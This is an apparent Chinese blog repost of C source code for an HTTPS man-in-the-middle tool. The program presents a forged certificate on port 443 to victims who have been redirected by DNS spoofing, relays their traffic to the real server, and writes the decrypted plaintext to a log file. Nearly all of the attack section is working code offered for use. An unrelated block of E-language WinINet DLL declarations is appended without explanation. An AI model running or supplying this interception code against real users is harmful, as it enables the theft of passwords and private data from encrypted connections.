HTTPS中间人攻击源代码(08年代码)

转自: http://www.yuanma.org/data/2007/0126/article_2183.htm 
 
by 云舒   
一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。  
 
代码:  
#include <stdio.h>  
#include <winsock2.h>  
#include <openssl/ssl.h>  
#include <openssl/err.h>  
 
#pragma comment ( lib, "libeay32.lib" )  
#pragma comment ( lib, "ssleay32.lib" )  
#pragma comment ( lib, "ws2_32.lib" )  
 
#define    PRIVATE_KEY_PWD        "1234"  
#define    CERT_FILE            "yunshu.crt"  
#define    KEY_FILE            "yunshu.key"  
#define    MAX_USER            10  
#define    LISTEN_PORT            443  
#define    TIME_OUT            1000000    // 1秒  
 
#define    DEBUG  
 
#ifdef DEBUG  
    #define    LOG_FILE            "c:\https.txt"  
    // 记录数据到文件  
    void    Log_File( char *str );  
#endif  
 
 
// 目的主机  
char            target_host[20] = { 0 };  
unsigned int    target_port = 0;  
 
// 输出SSL错误函数  
void    SSL_Error( char *custom_string );  
 
 
// 初始化SSL库作为服务端  
SSL        *Server_SSL_Init( );  
 
// 初始化SSL库作为客户端  
SSL        *Client_SSL_Init( );  
 
// 初始化Socket作为服务端  
SOCKET    Server_Socket_Init( );  
 
// 初始化Socket作为客户端  
SOCKET    Client_Socket_Init( );  
 
// 处理客户端函数  
void    WINAPI    FowardPacket( LPVOID argument );  
 
// 程序入口,主函数  
int main( int argc, char *argv[] )  
{  
    if( argc != 3 )  
    {  
        printf( "Usage: %s   <target_host>   <target_port>\n", argv[0] );  
        printf( "Code by 云舒,just for test!\n" );  
 
        return -1;  
    }  
 
    SOCKET    server_sock = Server_Socket_Init( );  
    if( INVALID_SOCKET == server_sock )  
    {  
        return -1;  
    }  
      
    // 加载加密算法库  
    SSL_library_init( );  
 
    // 加载错误信息库  
    SSL_load_error_strings( );  
 
    // 开始接受连接  
    SOCKET            client_sock;        // 来自被攻击者的socket  
    SOCKADDR_IN        client_sin;  
    int                sin_len = sizeof(SOCKADDR_IN);  
 
    target_port = atoi( argv[2] );  
    struct hostent *phost = gethostbyname( argv[1] );  
    if( phost == NULL )  
    {  
        printf( "Resolve %s error!\n" , argv[1] );  
        return -1;  
    }  
    memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );  
    memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length );  
    strcpy( target_host, inet_ntoa( client_sin.sin_addr ) );  
    printf( "Target host is %s(%s), port is %d\n", target_host, argv[1], target_port );  
 
    memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );  
    while( TRUE )  
    {  
        client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len );  
 
        printf( "connect from %s\n", inet_ntoa( client_sin.sin_addr ) );  
          
        if( SOCKET_ERROR == client_sock )  
        {  
            printf( "accept error.\n" );  
            continue;  
        }  
 
        HANDLE    h_thread;  
        DWORD    thread_id = 0;  
 
        h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id );  
        if( NULL == h_thread )  
        {  
            printf( "create thread error.\n" );  
        }  
 
        CloseHandle( h_thread );  
    }  
 
    closesocket( server_sock );      
    WSACleanup( );  
 
    return 0;  
}  
 
void WINAPI FowardPacket( LPVOID argument )  
{  
    char    buffer[2048] = { 0 };  
 
    // 生成SSL,作为服务端,响应被攻击者的请求  
    SSL    *server_ssl = Server_SSL_Init( );  
    if( NULL == server_ssl )  
    {  
        return;  
    }  
 
    printf( "Init ssl as server success!\n" );  
 
    // 生成SSL,作为客户端,向真实主机发起请求  
    SSL    *client_ssl = Client_SSL_Init( );  
    if( NULL == client_ssl )  
    {  
        return;  
    }  
 
    printf( "Init ssl as client success!\n" );  
 
    // 作为服务端端的socket,响应被攻击者的请求  
    SOCKET    server_sock = (SOCKET)(*(SOCKET *)argument);  
 
    // 绑定ssl和socket,此处作为被攻击者的服务器  
    SSL_set_fd( server_ssl, server_sock );  
 
    int ret = SSL_accept( server_ssl );  
    if( -1 == ret )  
    {  
        SSL_Error( "SSL_accept error" );  
        return;  
    }  
 
    // 作为客户端的socket,向真实主机发起请求  
    SOCKET    client_sock = Client_Socket_Init( );  
    if( INVALID_SOCKET == client_sock )  
    {  
        return;  
    }  
      
    SSL_set_fd( client_ssl, client_sock );  
    ret = SSL_connect( client_ssl );  
    if( -1 == ret )  
    {  
        SSL_Error( "SSL_connect error" );  
        return;  
    }  
 
    fd_set    fd_read;  
    timeval    time_out;  
 
    while( TRUE )  
    {  
        time_out.tv_sec = 0;  
        time_out.tv_usec = TIME_OUT;  
 
        FD_ZERO( &fd_read );  
        FD_SET( server_sock, &fd_read );  
        FD_SET( client_sock, &fd_read );  
 
        ret = select( 0, &fd_read, NULL, NULL, &time_out );  
        if( SOCKET_ERROR == ret )  
        {  
            printf( "socket error: %d\n", GetLastError() );  
            break;  
        }  
        else if( 0 == ret )  
        {  
            continue;  
        }  
        else  
        {  
            if( FD_ISSET( server_sock, &fd_read ) )  
            {  
                memset( (void *)buffer, 0, sizeof(buffer) );  
 
                ret = SSL_read( server_ssl, buffer, sizeof(buffer) );  
                if( ret > 0 )  
                {  
                    ret = SSL_write( client_ssl, buffer, strlen(buffer) );  
                    if( strlen(buffer) != ret )  
                    {  
                        SSL_Error( "Send data to real server error" );  
                    }  
                    else  
                    {  
                        printf( "send %d bytes to real server\n", ret );  
                          
                        #ifdef DEBUG  
                            Log_File( buffer );  
                        #endif  
                    }  
                }  
            }  
            else if( FD_ISSET( client_sock, &fd_read ) )  
            {  
                memset( (void *)buffer, 0, sizeof(buffer) );  
 
                ret = SSL_read( client_ssl, buffer, sizeof(buffer) );  
                if( ret > 0 )  
                {  
                    //printf( "RESPONSE:\n\t%s\n", buffer );  
 
                    ret = SSL_write( server_ssl, buffer, strlen(buffer) );  
                    if( strlen(buffer) != ret )  
                    {  
                        SSL_Error( "Send data to customer error" );  
                    }  
                    else  
                    {  
                        printf( "send %d bytes to customer's host\n", ret );  
                          
                        #ifdef DEBUG  
                            Log_File( buffer );  
                        #endif  
                    }  
                }  
            }  
        }  
    }  
      
    SSL_shutdown( server_ssl );  
    SSL_shutdown( client_ssl );  
    SSL_free( server_ssl );  
    SSL_free( client_ssl );  
 
    closesocket( server_sock );  
    closesocket( client_sock );  
 
    return;  
}  
 
void SSL_Error( char *custom_string )  
{  
    char    error_buffer[256] = { 0 };  
      
    printf( "%s, ", custom_string );  
    ERR_error_string( ERR_get_error(), error_buffer );  
    printf( "%s\n", error_buffer );  
}  
 
SSL    *Server_SSL_Init( )  
{  
    // 加载SSL环境  
    SSL_CTX    *server_ctx = SSL_CTX_new( SSLv23_server_method() );  
    if( NULL == server_ctx )  
    {  
        SSL_Error( "Init ssl ctx error" );  
        return NULL;  
    }  
 
    // 设置证书文件的口令  
    SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD );  
 
    // 加载证书  
    if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) <= 0 )  
    {  
        SSL_Error( "Load cert file error" );  
        return NULL;  
    }  
 
    // 加载私钥  
    if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) <= 0 )  
    {  
        SSL_Error( "Load cert file error" );  
        return NULL;  
    }  
 
    // 检查私钥和证书是否匹配  
    if( !SSL_CTX_check_private_key( server_ctx ) )  
    {  
        printf( "Private key does not match the certificate public key\n" );  
        return NULL;  
    }  
 
    SSL    *ssl = SSL_new (server_ctx);  
    if( NULL == ssl )  
    {  
        SSL_Error( "Create ssl error" );  
        return NULL;  
    }  
 
    return ssl;  
}  
 
SSL    *Client_SSL_Init( )  
{  
    SSL_CTX    *client_ctx;  
 
    client_ctx = SSL_CTX_new( SSLv23_client_method() );  
 
    if( NULL == client_ctx )  
    {  
        SSL_Error( "Init ssl ctx error" );  
        return NULL;  
    }  
 
    SSL    *ssl = SSL_new (client_ctx);  
    if( NULL == ssl )  
    {  
        SSL_Error( "Create ssl error" );  
        return NULL;  
    }  
 
    return ssl;  
}  
 
SOCKET    Server_Socket_Init( )  
{  
    WSADATA        wsa;  
 
    WSAStartup( 0x0202, &wsa );  
      
    SOCKET    sock = socket( AF_INET, SOCK_STREAM, 0 );  
    if( INVALID_SOCKET == sock )  
    {  
        printf( "Create socket as a server error" );  
        return INVALID_SOCKET;  
    }  
 
    SOCKADDR_IN    server_sin;  
    memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) );  
 
    server_sin.sin_family = AF_INET;  
    server_sin.sin_addr.S_un.S_addr = INADDR_ANY;  
    server_sin.sin_port = htons( 443 );  
 
    int    ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) );  
    if( SOCKET_ERROR == ret )  
    {  
        printf( "bind error: %d\n", GetLastError() );  
        return INVALID_SOCKET;  
    }  
 
    ret = listen( sock, MAX_USER );  
    if( SOCKET_ERROR == ret )  
    {  
        printf( "listen error.\n" );  
        return INVALID_SOCKET;  
    }  
 
    printf( "Listening on all local ip address, waiting for connect...\n" );  
 
    return sock;  
}  
 
SOCKET    Client_Socket_Init( )  
{  
    SOCKET    client_sock = socket( AF_INET, SOCK_STREAM, 0 );  
 
    if( INVALID_SOCKET == client_sock )  
    {  
        printf( "create socket as a client error.\n" );  
        return -1;  
    }  
      
    SOCKADDR_IN        client_sin;  
    memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );  
 
    client_sin.sin_family = AF_INET;  
    client_sin.sin_addr.S_un.S_addr = inet_addr( target_host );  
    client_sin.sin_port = htons( target_port );  
 
    int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) );  
    if( SOCKET_ERROR == ret )  
    {  
        printf( "connect to real server %s error", target_host );  
        return INVALID_SOCKET;  
    }  
 
    printf( "connect to real server success!\n" );  
 
    return client_sock;  
}  
 
#ifdef    DEBUG  
void    Log_File( char * str )  
{  
    FILE    *fp = fopen( LOG_FILE, "w+" );  
    if( NULL == fp )  
    {  
        return;  
    }  
 
    fputs( str, fp );  
      
    fclose( fp );  
}  
#endif
调用的DLL命令: .DLL命令 InternetOpenA, 整数型, "WinINet.dll" .参数 lpszAgent, 文本型 .参数 dwAccessType, 整数型 .参数 lpszProxyName, 文本型 .参数 lpszProxyBypass, 文本型 .参数 dwFlags, 整数型 .DLL命令 InternetCloseHandle, 逻辑型, "WinINet.dll" .参数 hInternet, 整数型 .DLL命令 InternetConnectA, 整数型, "WinINet.dll" .参数 hInternet, 整数型 .参数 lpszServerName, 文本型 .参数 nServerPort, 整数型 .参数 lpszUserName, 文本型 .参数 lpszPassword, 文本型 .参数 dwService, 整数型 .参数 dwFlags, 整数型 .参数 dwContext, 整数型 .DLL命令 HttpOpenRequestA, 整数型, "WinINet.dll" .参数 hConnect, 整数型 .参数 lpszVerb, 文本型 .参数 lpszObjectName, 文本型 .参数 lpszVersion, 文本型 .参数 lpszReferer, 文本型 .参数 lplpszAcceptTypes, 文本型 .参数 dwFlags, 整数型 .参数 dwContext, 整数型 .DLL命令 HttpSendRequestA, 逻辑型, "WinINet.dll" .参数 hRequest, 整数型 .参数 lpszHeaders, 文本型 .参数 dwHeadersLength, 整数型 .参数 lpOptional, 文本型 .参数 dwOptionalLength, 整数型 .DLL命令 InternetReadFile, 逻辑型, "WinINet.dll" .参数 hFile, 整数型 .参数 lpBuffer, 字节集, 传址 .参数 dwNumberOfBytesToRead, 整数型 .参数 lpdwNumberOfBytesRead, 整数型, 传址 .DLL命令 HttpQueryInfoA, 逻辑型, "WinINet.dll" .参数 hRequest, 整数型 .参数 dwInfoLevel, 整数型 .参数 lpvBuffer, 文本型, 传址 .参数 lpdwBufferLength, 整数型, 传址 .参数 lpdwIndex, 整数型 .DLL命令 InternetSetCookieA, 逻辑型, "WinINet.dll" .参数 lpszUrl, 文本型 .参数 lpszCookieName, 文本型 .参数 lpszCookieData, 文本型 .DLL命令 CreateThread, 整数型 .参数 lpThreadAttributes, 整数型 .参数 dwStackSize, 整数型 .参数 lpStartAddress, 子程序指针 .参数 lpParameter, 整数型 .参数 dwCreationFlags, 整数型 .参数 lpThreadId, 整数型, 传址 .DLL命令 CloseHandle, 逻辑型 .参数 hObject, 整数型 .DLL命令 TerminateThread, 逻辑型 .参数 hThread, 整数型 .参数 dwExitCode, 整数型 .DLL命令 MsgWaitForMultipleObjects, 整数型 .参数 nCount, 整数型 .参数 pHandles, 整数型, 传址 .参数 bWaitAll, 逻辑型 .参数 dwMilliseconds, 整数型 .参数 dwWakeMask, 整数型 .DLL命令 HttpAddRequestHeaders, , "wininet.dll", "HttpAddRequestHeadersA" .参数 hRequest, 整数型 .参数 lpszHeaders, 文本型, 传址 .参数 dwHeadersLength, 整数型 .参数 dwModifiers, 整数型
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值